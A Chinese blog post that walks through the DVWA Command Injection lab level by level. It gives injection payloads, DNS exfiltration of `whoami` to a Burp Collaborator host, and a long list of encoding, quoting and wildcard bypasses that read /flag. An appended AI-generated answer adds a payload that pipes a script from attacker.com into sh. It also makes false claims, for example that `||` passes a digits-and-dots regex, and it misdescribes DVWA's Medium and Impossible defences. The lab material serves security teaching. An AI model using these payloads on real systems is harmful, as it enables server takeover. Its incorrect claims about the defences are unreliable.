DVWA —— Command Injection 命令注入

本文详细介绍了命令执行漏洞的原理,从Low到Impossible级别的渗透思路,包括利用分号、短路逻辑、特殊字符黑名单绕过等技巧,并探讨了防御措施和多种编码方式的绕过方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

漏洞原理

Low

渗透思路

分号 ; 实现单行多命令执行

Medium

渗透思路 

Burp Collaborator Client 实现 DNS LOG 

短路逻辑与 & 实现命令连接绕过字符黑名单

源码对比

Low 源码 

Medium 源码 

对比小结

High

渗透思路 

通过短路逻辑运算符 | 绕过特殊字符黑名单

源码对比

Medium 源码

High 源码

对比小结 

Impossible

源码对比

High 源码

Impossible 源码

对比小结

防御

绕过

URL编码绕过

Base64编码绕过

Hex编码绕过

Oct编码绕过

偶读拼接绕过

内联执行绕过

引号绕过

通配符绕过

反斜杠绕过

[]匹配绕过

参考文章


漏洞原理

命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。

Low

渗透思路

按照页面提示正常请求,结果如下:

由此推测后端执行命令为 ping -c 4 8.8.8.8 

分号 ; 实现单行多命令执行

如果是 Linux 系统,多个命令可以一行表示,用 ; 分隔,比如 ping 8.8.8.8; pwd,为方便直接获得我们想要的结果,可以在输入框中直接填写 ;pwd,相当于执行命令 ping;pwd ,结果如下图所示,成功执行命令 pwd,获得当前目录。

Medium

渗透思路 

通过以上流量对比没有发现明显差别,对采取的防护措施也不甚清楚。但也不排除 payload 可能得到执行,首先想到的是 DNS LOG,为验证漏送是否存在,可以通过Burpsuit 自带的 DNS LOG 功能来测试。 

Burp Collaborator Client 实现 DNS LOG 

点击 Copy to clipboard,获得服务器地址 

输入栏填写内容

`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net 

后台拼接的完整命令应该是

ping -c 4`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net 

点击页面输入框后的 Submit,然后回到 Burp CollaboratorClient,点击 Poll now,快速获得消息,成功后证明了漏洞存在,之前 whoami 命令部分执行成功后变为 www-data 

注:有时 Burp Collaborator Client 可能会失效,不妨多试几次,或者自己搭建 DNS LOG 平台,如果是内网环境也可以直接用wireshark 等抓包工具捕获发出的 ICMP 流量。 

短路逻辑与 & 实现命令连接绕过字符黑名单

通过源码分析,得知程序对 && 和 ; 两个字符做了黑名单处理,这样之前的 ; 字符连接命令就无效了,但是连接 Linux shell 实现多命令执行的字符除了 && 和 ; 还有 &,如果有效的话,实现命令注入就比 DNS LOG 简单多了,实际证明很有效,结果如下: 

源码对比

Low 源码 

Medium 源码 

对比小结

通过对比可知,Medium 和 Low 两个的等级代码区别有:

  1. Medium 对 && 和 ;两个字符做了简单黑名单处理

High

渗透思路 

为方便起见,首先尝试之前效果较好的命令连接符,比如 ;,&,但是无一例外都没响应,那就用较为麻烦的 DNS LOG 来验证漏洞的存在。方法和 Medium 级别一样,通过 Burp CollaboratorClient 也没获得命令执行结果,但可以得出一个结果就是反引号 ` 也被过滤掉了。

通过短路逻辑运算符 | 绕过特殊字符黑名单

逻辑运算符是连接多命令执行的好帮手,除了 && 和 &,还有 || 和 |,通过测试, | 能够成功绕过黑名单,结果如下

源码对比

Medium 源码

High 源码

对比小结 

通过以上源码对比可知,相较于 Medium 源码:

  1. High 对参数 IP 进行 trim() 处理
  2. High 扩展了特殊字符黑名单
  3. 字符串 ’| ‘多了空格,无法有效屏蔽字符 '|'

Impossible

源码对比

High 源码

Impossible 源码

对比小结

通过对比可知,Medium 和 Low 两个的等级代码区别有:

  1. 开头进行 user_token 参数校验
  2. stripslashes 过滤用户输入反斜杠
  3. 按照 IP 地址四段点分十进制的格式,严格校验输入合法性
  4. 末尾重新生成新的 user_token  供下次新的请求校验,防止重放攻击

防御

  1. 开源框架,升级到最新版本
  2. 尽量不使用命令执行的函数
  3. 对可执行命令和代码使用白名单限制
  4. 用正则表达式对用户输入的内容进行充分处理
  5. 使用 WAF

绕过

URL编码绕过

关于$_SERVER[‘QUERY_STRING’],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。

Base64编码绕过

echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码

echo “Y2F0IC9mbGFn”|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码

echo “bHM=”|base64 -d|sh 将执行ls

Hex编码绕过

echo “636174202f666c6167”|xxd -r -p|bash 将执行cat /flag

$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) 执行cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag

Oct编码绕过

$(printf “\154\163”) 执行ls

偶读拼接绕过

?ip=127.0.0.1;a=l;b=s;a aab

?ip=127.0.0.1;a=fl;b=ag;cat /a aab;

内联执行绕过

echo “apwd” #输出a/root

?ip=127.0.0.1;cat$IFS$9ls

引号绕过

ca"“t => cat

mo”“re => more

in”“dex => index

ph”"p => php

通配符绕过

假设flag在/flag中:

/?url=127.0.0.1|ca"“t%09/fla?

/?url=127.0.0.1|ca”“t%09/fla*

假设flag在/flag.txt中:

/?url=127.0.0.1|ca”“t%09/fla???

/?url=127.0.0.1|ca”“t%09/fla*

假设flag在/flags/flag.txt中:

/?url=127.0.0.1|ca”“t%09/fla??/fla???

/?url=127.0.0.1|ca”"t%09/fla*/fla*

反斜杠绕过

ca\t => cat

mo\re => more

in\dex => index

ph\p => php

n\l => nl

[]匹配绕过

c[a]t => cat

mo[r]e => more

in[d]ex => index

p[h]p => php

参考文章

(RCE)命令执行和代码执行的原理、危害、防范、绕过_代码执行的危害_我是李现大王的博客-优快云博客

命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎

<think>嗯,用户想了解DVWA靶场中的Command Injection漏洞测试和利用方法,需要详细步骤和示例。首先,我得回忆一下DVWA的基本设置,尤其是命令注入的模块。用户可能已经知道DVWA是什么,但可能需要先登录到Low安全级别开始测试。 首先,命令注入通常发生在用户输入被拼接到系统命令中执行的情况下。在DVWACommand Injection模块,用户输入一个IP地址,然后系统执行ping命令。这时候,如果输入没有经过严格的过滤,攻击者可以注入额外的命令。 比如,在Low安全级别下,后端代码可能直接拼接用户输入的参数到ping命令中,而没有做任何过滤。这时候用户输入类似`127.0.0.1; ls`,分号后面的命令就会被执行。这时候需要给出具体的示例,比如如何利用不同的符号如`&&`、`|`或者`&`来注入命令。 接下来,不同安全级别的防护措施不同。比如Medium级别可能过滤了一些符号,但可能没有完全覆盖,这时候需要测试哪些符号被转义或过滤了。比如,可能过滤了`;`和`&&`,但`|`可能仍然可用,或者需要尝试其他绕过方法,比如用`%0a`(换行符)来分隔命令。 High级别的防护可能更严格,可能只允许特定的输入格式,比如限制输入为IP地址格式。这时候可能需要利用IP地址的格式特性,比如使用`127.0.0.1 || ls`,如果代码检查IP格式是否合法,但后面的命令仍然会被执行的话。或者,使用反引号执行命令,如`$(ls)`。 Impossible级别可能使用了白名单或其他彻底防护的方法,这时候基本无法注入,需要说明其防护机制,比如使用escapeshellarg函数处理参数。 在漏洞利用示例中,要分级别展示不同的注入方式,并说明如何通过Burp Suite这样的工具拦截请求,修改参数,或者直接在输入框中输入注入命令。还要注意不同操作系统下的命令差异,比如Windows和Linux的符号可能不同,但DVWA通常运行在Linux环境下。 另外,生成的相关问题需要考虑用户可能进一步想知道如何防御命令注入,或者DVWA其他漏洞模块的测试方法,比如SQL注入或XSS。还要注意提醒用户只在合法授权的环境下进行测试,避免法律问题。 现在需要确保回答结构清晰,步骤正确,示例准确,并且引用格式正确。要检查是否有遗漏的安全级别或常见绕过方法,比如使用反斜杠转义或者编码绕过过滤。同时,要确保给出的代码示例正确,比如PHP中可能存在漏洞的代码部分,以及防护措施如参数化执行或输入验证。</think># DVWA Command Injection漏洞测试与利用方法 ## 一、漏洞原理 命令注入漏洞产生于未正确过滤用户输入的情况下,攻击者通过拼接系统命令实现任意命令执行。DVWACommand Injection模块模拟了`ping`功能,其基础命令为: $$ ping -c 4 {user_input} $$ 当用户输入包含`;`、`&&`、`|`等命令分隔符时,可注入额外命令[^1]。 ## 二、安全测试步骤(分安全等级) ### 1. Low安全级别 **测试方法**: ```http POST /vulnerabilities/exec/ HTTP/1.1 Host: localhost ... ip=127.0.0.1;whoami&Submit=Submit ``` **注入示例**: - `127.0.0.1; ls /` 列出根目录 - `127.0.0.1 && cat /etc/passwd` 查看系统账户 ### 2. Medium安全级别 **过滤机制**: ```php $target = str_replace(';', '', $target); // 移除分号 ``` **绕过方法**: ```http ip=127.0.0.1%0aid && ping -c 4 127.0.0.1 ``` 使用换行符`%0a`或未过滤的`&`符号 ### 3. High安全级别 **防护代码**: ```php if( preg_match( '/^[0-9.]+$/i', $target ) ) // 限制数字和点号 ``` **绕过示例**: ```bash 127.0.0.1 || ls -al ``` 利用逻辑运算符绕过正则检测 ### 4. Impossible级别 **防护措施**: ```php $target = escapeshellarg($target); // 参数化处理 $cmd = shell_exec('ping -c 4 '.$target); ``` 此时无法进行命令注入 ## 三、漏洞利用演示 **Burp Suite拦截修改**: ```http POST /vulnerabilities/exec/ HTTP/1.1 ... ip=127.0.0.1;curl+http://attacker.com/shell.sh+|+sh ``` 该payload将下载并执行远程脚本 ## 四、防御方案 1. 使用`exec($command, $output)`替代直接命令拼接 2. 实施白名单验证: ```php if (!preg_match('/^[0-9.]+$/', $ip)) { die("Invalid IP format"); } ``` 3. 参数化处理: ```php $clean_ip = escapeshellarg($_POST['ip']); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值